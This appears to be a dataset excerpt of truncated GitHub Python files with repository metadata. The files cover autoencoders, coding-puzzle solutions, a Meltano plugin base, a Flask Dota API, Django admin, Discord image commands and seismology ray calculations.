@see: draft-ietf-secsh-d... | RMerl/asuswrt-merlin | release/src/router/samba-3.6.x/lib/dnspython/dns/rdtypes/ANY/SSHFP.py | SSHFP.py | py | 2,129 | python | en | code | 6,715 | github-code | 36 |
40585203716 | import torch
import torch.nn as nn
import torch.nn.functional as F
from torch.autograd import Variable
from . import common
import numpy as np
import pytorch_lightning as pl
class CNN_Encoder(nn.Module):
def __init__(self, output_size, input_size=(1, 28, 28)):
super(CNN_Encoder, self).__init__()
... | BenjaminMidtvedt/SCAINCE | models/autoencoders.py | autoencoders.py | py | 4,508 | python | en | code | 0 | github-code | 36 |
7235549355 | #!/bin/python3
import math
import os
import random
import re
import sys
# Complete the plusMinus function below.
def plusMinus(arr):
n = len(arr)
plus = minus = zero = 0
for x in arr :
if x > 0 :
plus += 1/n
elif x < 0 :
minus += 1/n
else :
zero ... | Suraj-Upadhyay/ProblemSolving | hackerrank/warmup/06-PlusMinus.py | 06-PlusMinus.py | py | 510 | python | en | code | 1 | github-code | 36 |
40238893115 | import argparse
from dotenv import load_dotenv
from parse_page import Driver
from pipeline import pipeline
from threads import threads
load_dotenv()
def main():
parser = argparse.ArgumentParser(
description='Download and decrypt DRM protected mpeg-dash content')
parser.add_argument('--url', type=str... | vigoroous/DRMBypass | src/main.py | main.py | py | 1,323 | python | en | code | 0 | github-code | 36 |
12662164532 | ### Level BASIC
### This script will:
# - Receive an array of numbers
# - Show the second smallest and the second largest number
def array(list):
list.sort()
print ("The second smalest is ", list[1])
print ("The second largest is ", list[-2])
array([0,10,69,2,14,22,15,100,50,51,54,3,9,67,88,92,72]) | thieslei/python_labs_scripts | test_cloud_from_array_pick_2smallest_2largerst.py | test_cloud_from_array_pick_2smallest_2largerst.py | py | 314 | python | en | code | 0 | github-code | 36 |
39223641482 | # Privacy is not something that I'm merely entitled to, it's an absolute prerequisite. -MB
import random
import string
from time import sleep
def id_generator(size=6, chars=string.ascii_letters + string.punctuation + string.digits):
return ''.join(random.choice(chars) for _ in range(size))
if __name__ == '__ma... | trojanghost9/pythonscripts | marlon_rando.py | marlon_rando.py | py | 480 | python | en | code | 0 | github-code | 36 |
3520691800 | import copy
import fnmatch
import logging
import re
from collections import namedtuple
from enum import Enum
from typing import Dict, Iterable, Optional, Union
import yaml
from meltano.core.behavior import NameEq
from meltano.core.behavior.canonical import Canonical
from meltano.core.behavior.hookable import HookObjec... | learningequality/meltano | src/meltano/core/plugin/base.py | base.py | py | 9,638 | python | en | code | 1 | github-code | 36 |
13097683438 | # !/usr/bin/env python
# -*- coding: utf-8 -*-
"""
@author: lishuang
@description: 基于能力描述的薪资预测
数据集:抓取了4512个职位的能力描述,薪资
Step1,数据加载
Step2,可视化,使用Networkx
Step3,提取文本特征 TFIDF
Step4,回归分析,使用KNN回归,朴素贝叶斯回归,训练能力和薪资匹配模型
Step5,基于指定的能力关键词,预测薪资
"""
import random
import re
import jieba
import matplotlib.pyplot as plt
import networkx... | TatenLee/machine-learning | bi/core/l13/salary_prediction.py | salary_prediction.py | py | 4,807 | python | zh | code | 1 | github-code | 36 |
18873931268 | from flask import Blueprint, request, abort
from models.dota.item import DotaItem
from api.dota.validators import all_items_schema
items_route = Blueprint("items", __name__, url_prefix="/items")
@items_route.route("/<int:item_id>")
def get_item_by_id(item_id: int):
item = DotaItem.query.filter_by(id=item_id).on... | NeKadgar/game_market_items_base | api/dota/items.py | items.py | py | 1,111 | python | en | code | 0 | github-code | 36 |
43509548445 | #!/usr/bin/env python3
from dialog.parser import Parser
from dialog.scope import Scope
from dialog.returns import Returns
import dialog.link_parser
import multiprocessing
import json
from dialog.interpreter import Dialog
class Instance(Dialog):
"""
Dialog interperter connected with websockets.
"""
d... | kusha/dialog | dialog/server.py | server.py | py | 6,720 | python | en | code | 1 | github-code | 36 |
72045581223 | from collections import defaultdict
puzzle = open('puzzle', 'r').read().splitlines()
grid = defaultdict(str)
for y in range(len(puzzle)):
for x in range(len(puzzle[y])):
grid[(y, x)] = puzzle[y][x]
def surrounding(cords, grid):
ret = []
for y in range(cords[0]-1, cords[0]+2):
for x in range(cords[1]-1, cords[... | filipmlynarski/Advent-of-Code-2018 | day_18/day_18_part_2.py | day_18_part_2.py | py | 1,437 | python | en | code | 0 | github-code | 36 |
31848452342 | import numpy as np
import pandas as pd
import pandas.testing as pdt
import pytest
from cod_analytics.classes import TransformReference
from cod_analytics.math.homography import Homography, HomographyCorrection
class TestHomography:
xy_bounds = (-1, 1)
xy_corners = [
[-1, -1],
[1, -1],
... | cesaregarza/CoD-Analytics | tests/test_homography.py | test_homography.py | py | 11,028 | python | en | code | 0 | github-code | 36 |
73497184104 | import importlib
import io
import math
import os
import typing
from enum import Enum
import discord
import humanize
from discord.ext import commands
from jishaku.functools import executor_function
from PIL import Image
import common.image_utils as image_utils
import common.utils as utils
class ImageCMDs(commands.Co... | AstreaTSS/Seraphim-Bot | cogs/general/cmds/image_cmds.py | image_cmds.py | py | 13,117 | python | en | code | 1 | github-code | 36 |
30590067551 | """
填充每个节点的下一个右侧节点指针 II
"""
"""
# Definition for a Node.
class Node:
def __init__(self, val: int = 0, left: 'Node' = None, right: 'Node' = None, next: 'Node' = None):
self.val = val
self.left = left
self.right = right
self.next = next
"""
# 1
class Solution:
... | leon1peng/alg_t | 刷题狂魔/Week04/填充每个节点的下一个右侧节点指针 II.py | 填充每个节点的下一个右侧节点指针 II.py | py | 2,853 | python | en | code | 1 | github-code | 36 |
20456988287 | from django import forms
from django.contrib import admin
from .models import Category, Comment, Genre, Review, Title, User
EMPTY = '-пусто-'
class UserAdminForm(forms.ModelForm):
def __init__(self, *args, **kwargs):
super(UserAdminForm, self).__init__(*args, **kwargs)
self.fields['password'].wi... | photometer/yamdb_final | api_yamdb/reviews/admin.py | admin.py | py | 1,578 | python | en | code | 0 | github-code | 36 |
23297695443 | import pandas as pd
import pathlib
from model import toa
datadir = pathlib.Path(__file__).parents[0].joinpath('data')
def test_toa_per_region():
# we use a modified version of the silvopasture TLA data as mock TLA values
sp_land_dist_all = [331.702828, 181.9634517, 88.98630743, 130.15193962, 201.18287123,
... | ProjectDrawdown/solutions | model/tests/test_toa.py | test_toa.py | py | 922 | python | en | code | 203 | github-code | 36 |
16496137980 | import pickle
import numpy as np
d = np.load('data/models_data.npz')
rr = d['rr']
cs = d['cs']
omb2 = d['omb2']
oma = d['oma']
rsun = d['rsun']
nx = len(rr)
e = np.load('data/return_radius.npz')
om = e['om']
rt = e['rt']
#lt = 42 # spherical harmonic degree
delta_theta = np.zeros(len(rt))
th_ray_list = []
rr_ray_... | hottahd/seismology | ray_theory/ray_calc.py | ray_calc.py | py | 2,960 | python | en | code | 0 | github-code | 36 |
37486401663 | from itertools import product
from random import choice
from time import sleep
from os import system
from math import floor
from colorama import Back, Fore, Style
################################################################################
# Simulation of Conway's Game of Life. The goal here was to write this with... | tvl-fyi/depot | users/wpcarro/scratch/data_structures_and_algorithms/conways-game-of-life.py | conways-game-of-life.py | py | 2,666 | python | en | code | 0 | github-code | 36 |
6812358559 | import webbrowser, os
import json
import boto3
import io
from io import BytesIO
import sys
from pprint import pprint
from dotenv import load_dotenv
import pandas as pd
load_dotenv()
AWSSecretKey = os.getenv('AWSSecretKey')
AWSAccessKeyId = os.getenv('AWSAccessKeyId')
def get_rows_columns_map(table_result, blocks_map... | yashjhaveri05/BE-Project-2022-2023 | MacroMedic/Flask/imageOCR.py | imageOCR.py | py | 7,500 | python | en | code | 0 | github-code | 36 |
17794649401 | n = int(input())
s = [input() for _ in range(n)]
s_dict = dict()
s_max = 0
for i in s:
if i not in s_dict:
s_dict[i] = 1
s_max = max(s_max, s_dict[i])
else:
s_dict[i] += 1
s_max = max(s_max, s_dict[i])
ans = list()
for k, v in s_dict.items():
if v == s_max:
ans.app... | fastso/learning-python | atcoder/contest/solved/abc155_c.py | abc155_c.py | py | 366 | python | en | code | 0 | github-code | 36 |
18009852249 | '''
如果你是哈利·波特迷,你会知道魔法世界有它自己的货币系统 —— 就如海格告诉哈利的:“十七个银西可(Sickle)兑一个加隆(Galleon),二十九个纳特(Knut)兑一个西可,很容易。”现在,给定哈利应付的价钱 P 和他实付的钱 A,你的任务是写一个程序来计算他应该被找的零钱。
输入格式:
输入在 1 行中分别给出 P 和 A,格式为 Galleon.Sickle.Knut,其间用 1 个空格分隔。这里 Galleon 是 [0, 107] 区间内的整数,Sickle 是 [0, 17) 区间内的整数,Knut 是 [0, 29) 区间内的整数。
输出格式:
在一行中用与输入同样的格式输出哈利应该被找的零钱。如... | junyechen/Basic-level | 1037 在霍格沃茨找零钱.py | 1037 在霍格沃茨找零钱.py | py | 1,445 | python | zh | code | 1 | github-code | 36 |
43068200237 | import time
from datetime import datetime
import webbrowser
from PySide2.QtSvg import QSvgRenderer
from PySide2.QtCore import Qt, QSize, QRect, QPoint
from PySide2.QtGui import QIcon, QPixmap, QColor, QPainter, QImage, QMouseEvent, QFont, QFontMetrics, QPen, QBrush
from PySide2.QtWidgets import QMainWindow, Q... | Noboxxx/selectionEditor | ui.py | ui.py | py | 23,323 | python | en | code | 0 | github-code | 36 |
72769207784 | from __future__ import absolute_import, division, print_function, unicode_literals
import os
import csv
import sys
import tensorflow as tf
from tensorflow import keras
from tensorflow.keras import layers
import matplotlib.pyplot as plt
import tensorflow_docs.plots
import pandas as pd
print(tf.version.VERSION)
column... | kotrotskon/iBKs_regration | Main.py | Main.py | py | 8,398 | python | en | code | 1 | github-code | 36 |
33543687487 | from django.contrib import admin
from .models import Quiz, Category, Question, Answer, UserAnswers
@admin.register(Category)
class CategoryAdmin(admin.ModelAdmin):
"""
Модель категорий для вывода в админ панели.
"""
list_display = ('id', 'category_name', 'created_at')
list_display_links = ('id', ... | Kagoharo/QuizSite | Quiz/quizlet/admin.py | admin.py | py | 1,915 | python | en | code | 0 | github-code | 36 |
17809826442 | # -*- coding: utf-8 -*-
import os
def pobierz_dane(plikcsv):
"""
funkcja zwraca tuplę tupli zawierajacych dane
z pliku csv do zapisania w tabeli"""
dane = [] #deklarujemy pustą liste
if os.path.isfile(plikcsv): #sprawdzamy czy plik istnieje na dysku
with open(plikcsv, "r") as zawartosc: #otwieramy plik do odc... | xinulsw/SQL_zPliku | pob_dane.py | pob_dane.py | py | 790 | python | pl | code | 0 | github-code | 36 |
8936986 | n=int(input())
t=n
l=len(str(n))
s=0
while(n!=0):
r=n%10
s+=r**l
l=l-1
n=n//10
if s==t:
print('True')
else:
print('False')
| RVVLakshmi/codemind-python | Disarium_number.py | Disarium_number.py | py | 147 | python | kn | code | 0 | github-code | 36 |
25047674881 | import torch
from torch import nn
import os
import argparse
import torch.utils.data as data
from torch import optim
from torch.autograd import Variable
import torchvision.transforms as transforms
import tqdm
import numpy as np
import random
from tensorboardX import SummaryWriter
from datetime import datetime
import dat... | YJZFlora/Gun_Violence_Data_Mining | main.py | main.py | py | 9,601 | python | en | code | 0 | github-code | 36 |
41863241640 | import _pickle as pickle
from chai.src import master
from sys import path
import os
from chai.src.Utils.logger import logger
path.append('./src/master')
path.append('./src')
logger.info("PATH %s", os.getcwd())
def pickle_data(data, filename):
try:
with open(filename,'wb') as handle:
pickle.d... | achalagarwal/Chai | chai/src/Utils/Pickler.py | Pickler.py | py | 944 | python | en | code | 0 | github-code | 36 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.